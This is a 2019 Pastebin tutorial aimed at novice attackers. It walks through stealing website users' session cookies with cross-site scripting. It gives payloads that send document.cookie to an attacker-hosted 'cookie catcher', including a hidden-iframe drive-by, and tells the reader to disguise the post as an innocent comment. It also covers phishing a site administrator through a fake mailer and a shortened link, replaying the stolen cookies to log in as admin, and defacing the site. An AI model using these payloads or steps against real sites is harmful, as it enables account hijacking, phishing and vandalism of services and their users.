PSN_CR33P

XSS TuT for the SKIDz

Mar 16th, 2019
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.34 KB | None | 0 0
  1. Tutorial By: @sp00k
  2.  
  3. Hello Guys Today i will write a Complete Tutorial on XSS.
  4.  
  5. First Of All XSS is in 2 Types, Persistent and Non-Persistent type.
  6.  
  7. For XSS we will use something called a Cookie Catcher.
  8. Question will be that why we would need someones else cookies?
  9.  
  10. The answer is that we can change our browser's cookies to login as them!!! So lets call it Session Hijacking.
  11.  
  12. First go to a free hosting site like http://www.110mb.com or any other php hosting sites and register there. Then download this cookie catcher and upload it.
  13.  
  14. Cookie Catcher: http://adf.ly/1I5oz
  15.  
  16. What does the cookie catcher do?
  17. It grabs the user's:
  18.  
  19. o Cookies
  20. o IP
  21. o Referral Link. Which Page is attached to that Link
  22. o Time And Date
  23.  
  24.  
  25. Get Vulnerable sites:
  26.  
  27. Ok first we need sites that are vulnerable to XSS so it will work on them.
  28. To test it we will need to add a code after the link.
  29. I will use this site that many of you probably saw it before.
  30. http://adf.ly/Tdo3
  31.  
  32. Now for testing If a site is vulnerable or not you can add these codes:
  33.  
  34. Code:
  35. "><script>alert(document.cookie)</script>
  36.  
  37. Code:
  38. '><script>alert(document.cookie)</script>
  39.  
  40. Code:
  41. "><script>alert("Test")</script>
  42.  
  43. Code:
  44. '><script>alert("Test")</script>
  45.  
  46. Or a new one which i found out myself in which you can inject HTML:
  47.  
  48. Code:
  49. "><body bgcolor="FF0000"></body>
  50.  
  51. Code:
  52. "><iframe src="www.google.com" height=800 width=800 frameborder=1 align=center></iframe>
  53.  
  54. Then if we see a java script popup like this:
  55. IMG unavailable
  56. Or if you used my testing and you saw the page's background go black or a page of google opens in that site it means its vulnerable to XSS attack.
  57.  
  58. In the end, if your site is http://www.example.com
  59. The link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>
  60.  
  61.  
  62.  
  63. Or if you used my testing and you saw the page's background go black or a page of google opens in that site it means its vulnerable to XSS attack.
  64.  
  65. In the end, if your site is http://www.example.com
  66. The link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>
  67.  
  68. Persistent XSS:
  69.  
  70. In this method we will grab the victim's cookies with no suspection and completely stealth.
  71. Now assume we have a forum which has HTML enabled or a site which has a comment page which is vulnerable to XSS.
  72. Ok now lets go to this site: http://adf.ly/1I6ns
  73. Now test and see if the XSS vulnerable test work on it.
  74. It does!!! And your getting one of the vulnerability's symptoms. So now lets try to grab it's cookies. If there is a box to type or submit it, add this:
  75.  
  76. Code:
  77. <script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>
  78.  
  79. and submit that post in the forum or the comment box also its good to add something before adding the code like: hey i got a problem logging in???
  80. so they wont suspect you.
  81.  
  82. Refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher.php search for cookies.html which is a new file that show you the cookies. Like if your cookie catcher link would be: http://www.example.com/cookie catcher.php
  83. The container of the cookies would be: http://www.example.com/cookies.html
  84.  
  85. Now visit cookies.html and you would see the session of that cookie!
  86.  
  87. Now there is another way for a cookie grabbing drive by, add this code and post it:
  88.  
  89. Code:
  90. <iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie)</iframe>
  91.  
  92. Then post it in the forum or the comment box.
  93. Now this will open a iframe in the page which will allow you to have the same page in that website. If you don't know about iframes make a new html file in your computer and just do a
  94.  
  95. <iframe src="www.google.com"></iframe> and you will understand iframes more Smile
  96.  
  97. ofc the site Needs to have cookies supported! a blank javascript means you need to go to another site.
  98.  
  99. Non-Persistent XSS:
  100.  
  101. Ok in this method we will make the victim admin go to our link. First we will pick a XSS vulnerable site. For this method we will need a search.php which that page is vulnerable to XSS and has cookies in that page. In the vulnerable search.php in the textbox for the word to search for type:
  102.  
  103. Code:
  104. <script>alert(document.cookie)</script>
  105.  
  106. And click the search button. If you see a javascript popup means its vulnerable to Non-Persistent XSS attack. Ok now we will do something similar.
  107. I will use this link for this method: http://adf.ly/1I6ns
  108. Now in front of the search.php?search= add this:
  109.  
  110. Code:
  111. "><script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>
  112.  
  113. Now go to http://www.spam.com and shrink the whole page's link. Try to find a site administrator's E-mail in that vulnerable website and send a Fake Mail from a online fake mailer like this one: http://adf.ly/1I73J
  114.  
  115. Now in the body just tell something fake like: Hey i found a huge bug in your website! and give him the shrinked link of the search.php which you added the code in front of it to him. so the spam will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. No matter what he does and changes his password you can still login as him.
  116.  
  117. Session Hijacking:
  118.  
  119. Ok now you have the Admin's cookies either way, so we need to edit our own browser's cookies. First go to that page's admin login or its main page and delete ALL of your cookies from that page. Now go in your cookies.html page and copy everything in front of the Cookie: in a note open Notepad. The ; separates cookies from each other so first copy the code before the ; .
  120. Now go in that vulnerable website and clear the link. Instead of that link add this:
  121.  
  122. Code:
  123. Javascript:void(document.cookie="")
  124.  
  125. or for an example:
  126.  
  127. Code:
  128. Javascript:void(document.cookie="__utma=255621336.1130089386.1295743598.1305934653.1305950205.86")
  129.  
  130. Then visit the link. Do this with all of the cookies and refresh the page. And you are logged in as administrator.
  131. So now go in your Admin Panel and upload your Deface Page.
  132.  
  133. Good Luck. Now you have Hacked a Website with XSS.
  134.  
  135. Note: This TUT is written by me and wasn't leeched from ANYWHERE else or copied. If you share this please give credits cause i spent alot of time on writing this TUT for you guys.
  136.  
  137. ENJOY.......
Add Comment
Please, Sign In to add comment